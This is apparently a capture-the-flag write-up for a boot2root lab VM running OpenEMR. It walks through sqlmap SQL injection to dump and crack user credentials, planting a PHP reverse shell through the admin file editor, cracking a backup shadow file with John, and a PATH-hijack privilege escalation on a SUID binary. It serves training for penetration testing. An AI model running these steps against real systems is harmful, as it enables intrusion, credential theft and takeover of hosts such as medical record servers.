Description

Level: Intermediate

Description:This machine was developed to train the student to think according to the OSCP methodology. Pay attention to each step, because if you lose something you will not reach the goal: to become root in the system.

It is boot2root, tested on VirtualBox (but works on VMWare) and has two flags: user.txt and root.txt.

User flag

Services enumeration

There are 2 services running on the target visible by Nmap:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3d
80/tcp open  http    Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))
| http-robots.txt: 8 disallowed entries 
| /manual/ /manual-2.2/ /addon-modules/ /doc/ /images/ 
|_/all_our_e-mail_addresses /admin/ /
|_http-server-header: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
|_http-title: Coming Soon 2
Service Info: OS: Unix

Initial foothold

The FTP service doesn’t allow anonymous access. Let’s jump to the web enumeration.

There is a robots.txt file but it doesn’t bring anything interesting.

Running gobuster with several dictionaries eventually revealed the presence of an /openemr location.

Exploiting OpenEMR

Checking online for exploits against OpenEMR led to the disclosure of several SQL injection vulnerabilities (https://packetstormsecurity.com/files/108328/OpenEMR-4.1.0-SQL-Injection.html). The validateUser.php is confirmed to be vulnerable to SQLi:

kali@kali:/data/healthcare/files$ sqlmap -u http://healthcare.box/openemr/interface/login/validateUser.php?u=1 --dbs

[REDACTED]

---
[14:05:02] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0

[14:05:02] [INFO] retrieved: 'test'
available databases [3]:
[*] information_schema
[*] openemr
[*] test

[REDACTED]

Now that we have confirmed the vulnerability and got confirmation of the existence of an openemr database, we list the tables and notice a users table. Let’s dump its content:

kali@kali:/data/healthcare/files$ sqlmap -u http://healthcare.box/openemr/interface/login/validateUser.php?u=1 -D openemr -T users --dump

[REDACTED]

[14:10:42] [INFO] cracked password 'medical' for user 'medical'  
Database: openemr

Table: users
[2 entries]

[REDACTED]

sqlmap really helps here and is even able to brute force the password hashes. Valid credentials are found for the admin account: admin:ackbar.

I tried using an authenticated RCE exploit from exploit-db but it did not work despite the “payload executed” message. Let’s try something else.

From the OpenEMR admin panel, we can modify the PHP code of pages. Go to Administration > Files and select config.php from the dropdown. Modify the content with the one from a PHP reverse shell.

Now browse the resource:

$ curl http://healthcare.box/openemr/sites/default/config.php

A reverse shell will be spawned in our listener window:

kali@kali:/data/healthcare$ rlwrap nc -nlvp 4444

User flag

The user flag is located in almirant’s home folder:

bash-4.1$ cat /home/almirant/user.txt
cat /home/almirant/user.txt
d41d8cd98f00b204e9800998ecf8427e

User flag: d41d8cd98f00b204e9800998ecf8427e

Root flag

Lateral move (apache -> medical)

As there is a user named medical and sqlmap found the password on the application, it was fair to try to log in as medical with the password medical:

bash-4.1$ su medical
su medical
Password: medical

To be noted that there is a readable copy of shadow under /var/backups/:

[medical@localhost backups]$ ls -la /var/backups/shadow
ls -la /var/backups/shadow
-rwxr--r-- 1 medical medical 1124 Jul 29 06:11 /var/backups/shadow*

Brute forcing the shadow file leads to disclosing the password for 2 accounts:

kali@kali:/data/healthcare/files$ /data/src/john/run/john shadow --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 256 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
skywalker        (almirant)
medical          (medical)

Root SUID files

Searching for files owned by root with the SUID bit set reveals an interesting executable:

[medical@localhost ~]$ find / -type f -user root -perm -u=s 2>/dev/null
find / -type f -user root -perm -u=s 2>/dev/null

/sbin/pam_timestamp_check
/bin/ping

/bin/su
/bin/mount
/bin/umount

Privilege escalation

Using strings, we can notice that a serie of commands is called by the program, without absolute paths:

[medical@localhost /]$ strings /usr/bin/healthcheck
strings /usr/bin/healthcheck

[REDACTED]

clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -h

We can take advantage of this vulnerability to make a local copy of /bin/bash to ~/clear and add our home directory to the PATH variable. That way, the clear command will actually execute bash as root.

[medical@localhost ~]$ which bash
which bash
/bin/bash
[medical@localhost ~]$ cp /bin/bash clear
cp /bin/bash clear
[medical@localhost ~]$ export PATH=/home/medical:$PATH
export PATH=/home/medical:$PATH
[medical@localhost ~]$ /usr/bin/healthcheck
/usr/bin/healthcheck
[root@localhost ~]# id
id
